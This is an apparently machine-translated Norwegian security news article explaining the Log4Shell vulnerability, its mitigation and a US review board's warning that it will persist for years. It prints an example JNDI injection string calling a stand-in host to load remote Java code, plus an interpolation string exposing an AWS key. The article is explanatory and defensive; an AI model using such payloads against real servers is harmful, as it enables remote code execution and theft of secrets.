8 måneder senere sier USA at Log4Shell vil eksistere i «et tiår eller lenger»

Huske Log4Shell?

Det var en farlig feil i et populært Java-programmeringsverktøysett med åpen kildekode kalt log4j, forkortelse for "Logging for Java", utgitt av Apache Software Foundation under en liberal, gratis kildekodelisens.

Hvis du noen gang har skrevet programvare av noe slag, fra den enkleste BAT-filen på en Windows-bærbar PC til den gnareste megaapplikasjonen som kjører på et helt rack med servere, har du brukt loggingskommandoer.

Fra basisutgang som f.eks echo "Starting calculations (this may take a while)" skrevet ut på skjermen, helt til formelle meldinger lagret i en engangs-skrivingsdatabase for revisjons- eller samsvarsårsaker, er logging en viktig del av de fleste programmer, spesielt når noe går i stykker og du trenger en klar oversikt over nøyaktig hvor langt du kom før problemet traff.

Log4Shell sårbarhet (faktisk viste det seg at det var flere relaterte problemer, men vi skal behandle dem alle som om de var ett stort problem her, for enkelhets skyld) viste seg å være halvt feil, halvt funksjon.

Med andre ord, Log4j gjorde det den sa i manualen, i motsetning til i en feil som bufferoverløp, hvor det fornærmende programmet feilaktig prøver å rote rundt med data det lovet at det ville la være ...

…men med mindre du hadde lest bruksanvisningen veldig nøye og tatt flere forholdsregler selv ved å legge til et lag med forsiktig inndataverifisering på toppen av Log4j, kan programvaren din løsne.

Virkelig, dårlig, helt ustabil.

Interpolering anses som skadelig

Enkelt sagt, Log4j registrerte ikke alltid loggmeldinger nøyaktig slik du ga dem.

I stedet hadde den en "funksjon" kjent på forskjellige og forvirrende sjargonger som interpole, kommandosubstitusjon or automatisk omskriving, slik at du kan utløse tekstmanipulasjonsfunksjoner inne i selve loggingsverktøyet, uten å måtte skrive din egen egen kode for å gjøre det.

For eksempel vil teksten i INPUT-kolonnen nedenfor bli logget bokstavelig, akkurat slik du ser det, noe som sannsynligvis er det du forventer av et loggingsverktøysett, spesielt hvis du ønsker å holde en nøyaktig oversikt over inndataene dine brukere presenterte av regulatoriske årsaker:

INNGANG UTKOMST ----------------------------------------------------- BRUKERNAVN =and -> BRUKERNAVN=and Anroper-ID:555-555-5555 -> Anrops-ID:555-555-5555 Gjeldende versjon = 17.0.1 -> Gjeldende versjon = 17.0.1

Men hvis du sendte inn tekst pakket inn i den magiske karaktersekvensen ${...}, vil loggeren noen ganger gjøre smarte ting med den, etter å ha mottatt teksten, men før den faktisk skrev inn i loggfilen, slik:

INNGANG UTKOMST ---------------------------------- -------------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Java-versjon 17.0.1/Windows 10 10.0 Serverkonto er: ${env:USER} -> Serverkonto er: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Hvis du godtar loggingstekst fra en pålitelig kilde, der det er rimelig å la loggeren kontrollere loggeren ved å be den erstatte ren tekst med interne data, er denne typen tekstomskriving nyttig.

Men hvis målet ditt er å holde styr på data som sendes inn av en ekstern bruker, kanskje for regulatoriske journalføringsformål, er denne typen automatisk omskriving dobbelt farlig:

• I tilfelle en tvist, du har ikke en pålitelig oversikt over hva brukeren faktisk sendte inn, gitt at det kan ha blitt endret mellom input og output.
• En ondsinnet bruker kan sende snikkonstruerte inndata for å provosere serveren din til å gjøre noe den ikke skulle.

Hvis du logger brukerinndata som deres nettleseridentifikasjonsstreng, si (kjent på sjargongen som User-Agent), eller brukernavnet eller telefonnummeret deres, vil du ikke gi brukeren en sjanse til å lure deg til å skrive private data (for eksempel en passordstreng for minnet som AWS_ACCESS_KEY_ID i eksemplet ovenfor) inn i en permanent loggfil.

Spesielt hvis du selvsikkert har fortalt revisorene dine eller regulatoren at du aldri skriver klartekstpassord i permanent lagring. (Du burde ikke gjøre dette, selv om du ikke offisielt har fortalt regulatoren at du ikke gjør det!)

Verre å komme

I Log4Shell is-it-a-bug-or-is-it-a-feature-saken var ting imidlertid mye verre enn de allerede risikable eksemplene vi har vist ovenfor.

For eksempel kan en bruker som bevisst sendte inn data som inndataene vist nedenfor, utløse en virkelig farlig hendelsesforløp:

INNGANG UTKOMST -------------------------------------------------- ------------------------------------------ ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Last ned og kjør et eksternt Java-program!?

I "interpolasjons"-strengen ovenfor er ${...} tegnsekvens som inkluderer forkortelsene jndi og ldap fortalte Log4j å gjøre dette:

• Bruk Java Naming and Directory Interface (JNDI) å lokalisere dodgy.server.example på nett.
• Koble til den serveren via LDAP, bruker TCP-port 8888.
• Be om dataene lagret i LDAP-objektet BadThing.

Med andre ord kan angripere sende inn spesiallagde input som vil instruere serveren din om å "ringe hjem" til en server under deres kontroll, uten så mye som en by-your-permisjon.

Hvordan kan dette være en "funksjon"?

Du lurer kanskje på hvordan en "funksjon" som dette noen gang kom inn i Log4j-koden.

Men denne typen tekstomskriving kan være nyttig, så lenge du logger data fra en pålitelig kilde.

Du kan for eksempel logge en numerisk bruker-ID, men også be loggeren om å bruke LDAP (den lett katalogtilgangsprotokoll, mye brukt i bransjen, inkludert av Microsofts Active Directory-system) for å hente og lagre brukernavnet knyttet til det kontonummeret på det tidspunktet.

Dette vil forbedre både lesbarheten og den historiske verdien av oppføringen i loggfilen.

Men LDAP-serveren som Log4j kalte ut i eksempelet ovenfor (som ble valgt av den eksterne brukeren, ikke glem) er usannsynlig å vite sannheten, enn si å fortelle det, og en ondsinnet bruker kan derfor bruke dette trikset. loggene dine med falske og til og med juridisk tvilsomme data.

Enda verre, LDAP-serveren kunne returnere forhåndskompilert Java-kode for å generere dataene som skal logges, og serveren din ville pliktoppfyllende kjøre det programmet – et ukjent program, levert av en ikke-klarert server, valgt av en ikke-klarert bruker.

Løst sagt, hvis noen server, hvor som helst i nettverket ditt, logget upålitelige inndata som hadde kommet inn utenfra, og brukte Log4j til å gjøre det...

…så kan den inndata brukes som en direkte og umiddelbar måte å lure serveren din til å kjøre andres kode, akkurat som det.

Det heter RCE på sjargongen, forkortelse for ekstern kjøring av kode, og RCE-feil er generelt de mest ettertraktede av nettkriminelle fordi de vanligvis kan utnyttes til å implantere skadelig programvare automatisk.

Dessverre betydde arten av denne feilen at faren ikke var begrenset til internettvendte servere, så bruk av webservere skrevet i C, ikke Java (f.eks. IIS, Apache https, nginx), og derfor ikke selv brukte buggyen. Log4j-kode, frigjorde deg ikke fra risiko.

I teorien, enhver back-end Java-app som mottok og logget data fra andre steder på nettverket ditt, og som brukte Log4j-biblioteket ...

…kan potensielt nås og utnyttes av eksterne angripere.

Løsningen var ganske grei:

• Finn gamle versjoner av Log4j hvor som helst og hvor som helst i nettverket ditt. Java-moduler har vanligvis navn som log4j-api-2.14.0.jar og log4j-core-2.14.0.jar, Hvor jar er en forkortelse for Java-arkiv, en spesielt strukturert slags ZIP-fil. Med et søkbart prefiks, en definitiv utvidelse og versjonsnummeret innebygd i filnavnet, er det faktisk ganske enkelt å finne støtende filer med "feil" versjoner av Java-bibliotekskoden.
• Bytt ut buggy-versjonene med nyere, lappede.
• Hvis du ikke var i stand til å endre Log4J-versjon, du kan redusere eller fjerne risikoen ved å fjerne en enkelt kodemodul fra fra buggy Log4j-pakken (Java-koden som håndterte JNDI-oppslag, som beskrevet ovenfor), og pakke om din egen slanke JAR-fil med feilen undertrykt.

Sagaen fortsetter

Dessverre, en nylig, detaljert rapport på Log4Shell-sagaen, publisert forrige uke av USA Gjennomgangsutvalget for cybersikkerhet (CSRB), en del av Department of Homeland Security, inneholder det bekymringsfulle forslaget (vår vektlegging nedenfor) om at:

Log4j-arrangementet er ikke over. [CSRB] vurderer at Log4j er en "endemisk sårbarhet" og at sårbare forekomster av Log4j vil forbli i systemene i mange år fremover, kanskje et tiår eller lenger. Betydelig risiko gjenstår.

Hva gjør jeg?

På 42 sider (sammendraget alene er på nesten tre sider). Styrets rapport er et langt dokument, og deler av det går tungt.

Men vi anbefaler at du leser den igjennom, fordi den er en fascinerende historie om hvordan selv cybersikkerhetsproblemer som burde være raske og enkle å fikse kan bli ignorert, eller utsettes til senere, eller like godt som nektet helt som «noen andres problem" å fikse.

Viktige forslag fra den amerikanske offentlige tjenesten, som vi støtter helhjertet, inkluderer:

• Utvikle kapasiteten til å opprettholde en nøyaktig informasjonsteknologi (IT) eiendel og applikasjonsbeholdning.
• [Sett opp en] dokumentert sårbarhetsresponsprogram.
• [Sett opp en] dokumentert prosess for avsløring og håndtering av sårbarheter.

Når det gjelder nettsikkerhet, ikke spør hva alle andre kan gjøre for deg...

…men tenk på hva du kan gjøre for deg selv, for alle forbedringer du gjør vil nesten helt sikkert gagne alle andre også.

---

[Innebygd innhold]

---